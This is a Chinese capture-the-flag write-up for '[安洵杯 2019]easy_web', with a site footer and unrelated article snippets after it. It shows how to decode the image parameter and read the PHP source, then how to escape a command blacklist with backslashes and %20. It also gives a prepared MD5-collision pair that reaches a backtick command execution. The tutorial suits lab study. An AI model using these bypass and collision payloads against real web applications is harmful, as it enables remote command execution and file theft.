[安洵杯 2019]easy_web 详细题解

news2024/11/24 1:43:08

知识点:

编码转换

命令执行

linux空格_关键字绕过

打开页面 发现url 是 /index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=


有img参数和cmd参数  cmd参数是没赋值的,随便赋值为123456   页面没有反应
鼠标移动到图片下面时发现有东西,当然直接查看页面源代码也可以发现


尝试输入ls  回显变成了 forbid ~  被禁止了
回过头来观察img参数,TXpVek5UTTFNbVUzTURabE5qYz0 

很像base64编码 解码一次得到MzUzNTM1MmU3MDZlNjc=  更像base64了
再次解码  3535352e706e67 格式很像16进制字符,转为ascii字符串 得到555.png

或者直接用一把梭工具得到结果,使用ciphey 或者 cyberchef 都可以一步到位

 

直接访问555.png没有信息,img换成555.png也没用,cmd换成555.png也没用

尝试按照题目中的格式,对一个文件进行16进制转换,然后再进行两次base64编码 传给img参数
把index.php 按照上述操作编码得到结果   TmprMlpUWTBOalUzT0RKbE56QTJPRGN3
传给img参数之后查看源码,复制图片对应的base64编码值,解码得到index.php源码

<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd'])) 
    header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
    echo '<img src ="./ctf3.jpeg">';
    die("xixiï½ no flag");
} else {
    $txt = base64_encode(file_get_contents($file));
    echo "<img src='data:image/gif;base64," . $txt . "'></img>";
    echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
    echo("forbid ~");
    echo "<br>";
} else {
    if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
        echo `$cmd`;
    } else {
        echo ("md5 is funny ~");
    }
}

对cmd参数进行了正则过滤,禁止了大多数查看文件的命令,其实还可以用sort

其中的\xA0过滤了16进制为0xa0的字符,也就是空格,所以需要绕过空格,同时过滤了$,不能使用${IFS} $IFS$1这种格式,%09尝试发现不可行,可以用%20 代替空格

这里正则还过滤了很多符号 看起来  |\\|\\\\|   这个部分过滤了\  其实并没有
|\\|\\\\|  这里先经过字符串解析为 |\|\\| 再经过正则表达式解析变成 | |\ |  所以这里其实是过滤了 |\
但是这里输入|\也会被禁止,是因为后面禁止了|    单独输入\ 是不会被过滤的

如果不清楚php字符串和正则表达式中的转义规则和操作,可以看一下我这篇文章

详解PHP正则表达式中的转义操作_php特殊字符转义-CSDN博客文章浏览阅读1.5k次,点赞39次,收藏19次。在 PHP 正则表达式中,有许多特殊字符具有特定的意义。这些特殊字符通常用于定义匹配模式的一部分,或者改变匹配的行为.比如,如果希望匹配一个"*"字符的字面意思,就需要在模式中写为 "\*",表示匹配的是*星号本身,而不是它的特殊含义,如果要匹配 \ 反斜线本身,也需要一个转义符转义 也就是"\\" 同时反斜线在 PHP 字符串 中也有特殊含义,因此也需要反斜线 \进行转义,最后要写成 "\\\\" 下面就探究一下PHP字符串和正则表达式中的转义操作_php特殊字符转义https://blog.csdn.net/weixin_73904941/article/details/143189318?spm=1001.2014.3001.5501

既然没过滤符号\ 正则匹配函数用的是preg_match,因此这里的过滤都是很容易绕过的

可以使用l\s代替ls绕过匹配,在preg_match函数中效果是一样的 cat命令也可以c\at这样绕过  
这里过滤了单双引号 所以不能用 l''s绕过

if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
        echo `$cmd`;

这里强制变成string类型再进行比较,如果传入的是数组结果就都转换成array了,所以不能数组绕过,而且md5还是强比较,所以进行md5碰撞,让两个值md5加密后相等

a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2  
b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2

这里用hackbar传参我自己测试是不行的,得用burpsuite抓包传参,这里img参数的值没影响


查看根目录下文件,空格用%20代替    l\s%20/  发现flag文件
c\at%20/flag    或者  sort%20/flag  都可以得到flag

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2234806.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

免费,基于React + ECharts 国产开源 IoT 物联网 Web 可视化数据大屏

文末查看开源项目地址 Light Chaser 是一款国产开源免费的基于 React18、Vite5、TypeScript5 技术栈实现的 Web 可视化大屏设计工具&#xff0c;支持Docker方式部署&#xff0c;支持MySQL、PostgreSQL、SQL Server、Oracle 数据源。 你可以简单快速地搭建数据可视化展示、数据报…

Linux服务管理-DHCP

DHCP DHCP&#xff08;Dynamic Host Configuration Protocol&#xff0c;动态主机配置协议&#xff09;是一个局域网的网络协议&#xff0c;它允许服务器自动地将IP地址和其他网络配置参数分配给网络中的计算机。DHCP极大地简化了网络管理&#xff0c;尤其是当大量设备需要接入…

如何使用Netdata部署高性能的服务器监控平台

简介 Netdata 是一个开源的、实时的性能和健康监控工具&#xff0c;专为系统、应用程序、SNMP 设备等而设计。它以其高度交互的 Web 仪表板和极低的资源开销而闻名。 主要特点&#xff1a;实时监控、全面监控、零配置、轻量级、交互式仪表板、可扩展性、警报和通知、分布式监…

【MySQL】深度学习与解析 : 库的操作知识整合

前言&#xff1a;本节内容是MySQL库的操作&#xff0c; 内容较少&#xff0c; 大体内容为创建库、删除库、修改库、库备份操作。 ps:本节内容适合安装了MySQL的友友们进行观看&#xff0c; 实操更有利于记住哦。 目录 创建数据库 查看数据库列表 创建数据库 删除数据库 …

计算机前沿技术-人工智能算法-大语言模型-最新研究进展-2024-11-01

计算机前沿技术-人工智能算法-大语言模型-最新研究进展-2024-11-01 目录 文章目录 计算机前沿技术-人工智能算法-大语言模型-最新研究进展-2024-11-01目录1. A Perspective for Adapting Generalist AI to Specialized Medical AI Applications and Their Challenges2. Synergi…

白杨SEO:百度在降低个人备案类网站搜索关键词排名和流量?怎样应对?【参考】

很久没有写百度或者网站这块内容了&#xff0c;一是因为做百度网站朋友越来越少&#xff0c;不管是个人还是企业&#xff1b;二是百度上用户搜索与百度给到网站的流量都越来越少。 为什么想到今天又来写这个呢&#xff1f;因为上个月有个朋友来咨询我说网站百度排名全没了&…

5分钟科普:AI网关是什么?应用场景是什么?有没有开源的选择?

AI网关的功能及其定义 AI网关位于企业应用与内外部大模型调用的交汇点&#xff0c;能够灵活地将请求转发给内部自建模型或外部大模型服务提供商&#xff0c;甚至海外的服务商。它管理着企业所有的AI出口流量&#xff0c;为企业内的不同团队提供了多方面的优势。 对于开发团队…

Java学习Day60:微服务总结!(有经处无火,无火处无经)

1、技术版本 jdk&#xff1a;17及以上 -如果JDK8 springboot&#xff1a;3.1及其以上 -版本2.x springFramWork&#xff1a;6.0及其以上 -版本5.x springCloud&#xff1a;2022.0.5 -版本格林威治或者休斯顿 2、模拟springcloud 父模块指定父pom <parent><…

登录功能设计(php+mysql)

一 登录功能 1. 创建一个登录页面&#xff08;login.php&#xff09;&#xff0c;包含一个表单&#xff0c;用户输入用户名和密码。 2. 在表单的提交事件中&#xff0c;使用PHP代码处理用户输入的用户名和密码。 3. 首先&#xff0c;连接MySQL数据库。然后&a…

【物联网技术】ESP8266 WIFI模块STA、AP、STA+AP、TCP/UDP透传工作模式介绍与AT指令介绍

前言:本文对ESP8266 WIFI模块STA、AP、STA+AP、TCP/UDP透传工作模式进行介绍;以及AT指令介绍,包括基础AT指令,WIFI功能AT指令、TCP/IP相关AT指令、常用AT指令实例进行介绍。 ESP8266 WIFI模块的接线及固件烧写可参考我的这篇博客:正点原子ATK-ESP8266 WIFI模块接线及固件…

【前端】JavaScript 方法速查大全-函数、正则、格式化、转换、进制、 XSS 转义(四)

&#x1f525; 前言 在现代前端开发中&#xff0c;JavaScript 是不可或缺的语言。无论是处理数据、操作 DOM&#xff0c;还是进行复杂的逻辑运算&#xff0c;掌握 JavaScript 的各种方法都是每位开发者的必修课。本文将为您提供一个全面、系统的 JavaScript 方法参考&#xff…

关于路由笔记

路由 定义&#xff1a; 在计算机网络中&#xff0c;路由是将数据包从源节点传输到目标节点的过程。这个过程涉及到网络中的多个设备&#xff0c;如路由器、交换机等&#xff0c;其中路由器起着关键的决策作用。 工作原理示例&#xff1a; 假设你在一个公司的局域网内&#…

25.停车场管理系统(基于web的Java项目)

目录 1.系统的受众说明 2.相关技术与方法 3.系统分析 3.1 可行性分析 3.1.1 技术可行性 3.1.2 经济可行性 3.1.3 操作可行性 3.2 需求分析 3.2.1 系统功能描述 3.2.2 用例图分析 4. 系统设计 4.1 系统类分析 5. 系统详细设计与实现 5.1 用户登录 5.2 系统信…

【含开题报告+文档+源码】基于SpringBoot+Vue智能居民健康检测系统设计与实现

开题报告 随着社会发展和人民生活水平的提高&#xff0c;人们对健康生活的要求越来越高。而广大居民由于条件限制&#xff0c;存在着健康管理服务不足的问题。本文基于JavaWeb技术&#xff0c;设计并实现了一种居民健康检测系统。首先&#xff0c;本文对该平台的需求进行了分析…

SCNU习题 总结与复习

1. P1:构建最大二叉树 【分治】 重点 构树函数需要注意的点&#xff1b; 前序遍历需要注意&#xff0c;本题的输出有点特点。若一个结点无左子&#xff0c;无右子就不再下去遍历&#xff1b; 其他情况都要下去遍历&#xff1b; 2. P2 寻找多数【分治】 没啥&#xff0c;注意…

ssm060基于SSM的高校共享单车管理系统的设计与实现+vue(论文+源码)_kaic

设计题目&#xff1a;高校共享单车管理系统的设计与实现 摘 要 网络技术和计算机技术发展至今&#xff0c;已经拥有了深厚的理论基础&#xff0c;并在现实中进行了充分运用&#xff0c;尤其是基于计算机运行的软件更是受到各界的关注。加上现在人们已经步入信息时代&#xff0…

【算法】(Python)贪心算法

贪心算法&#xff1a; 又称贪婪算法&#xff0c;greedy algorithm。贪心地追求局部最优解&#xff0c;即每一步当前状态下最优选择。试图通过各局部最优解达到最终全局最优解。但不从整体最优上考虑&#xff0c;不一定全局最优解。步骤&#xff1a;从初始状态拆分成一步一步的…

记一次微信云托管搭建Redis服务

背景 最近在做一个微信小程序&#xff0c;规划服务全部部署在云托管上面&#xff0c;本次使用了对象存储、mysql、java服务、Redis服务&#xff08;pc端用的&#xff09;。 由于对部署Redis不理解&#xff0c;查看了官方文档&#xff0c;首先看到的是这个架构图&#xff0c;看…

基于SSM的校园美食交流系统【附源码】

基于SSM的校园美食交流系统 效果如下&#xff1a; 管理员主页面 用户主页面 美食信息页面 美食资讯页面 修改密码页面 论坛中心页面 研究背景 随着高校信息化建设的不断推进&#xff0c;校园生活日益丰富多样&#xff0c;学生对于美食的需求与探索也愈发旺盛。然而&#xff…

Linux—进程学习-01

目录 Linux—进程学习—11.冯诺依曼体系结构2.操作系统2.1操作系统的概念2.2操作系统的目的2.3如何理解管理2.4计算机软硬件体系的理解2.5系统调用和库函数的概念 3.进程3.1进程是什么3.2管理进程3.2.1描述进程-PCB3.2.2组织进程3.2.3总结 3.3查看进程 4.与进程有关的系统调用 …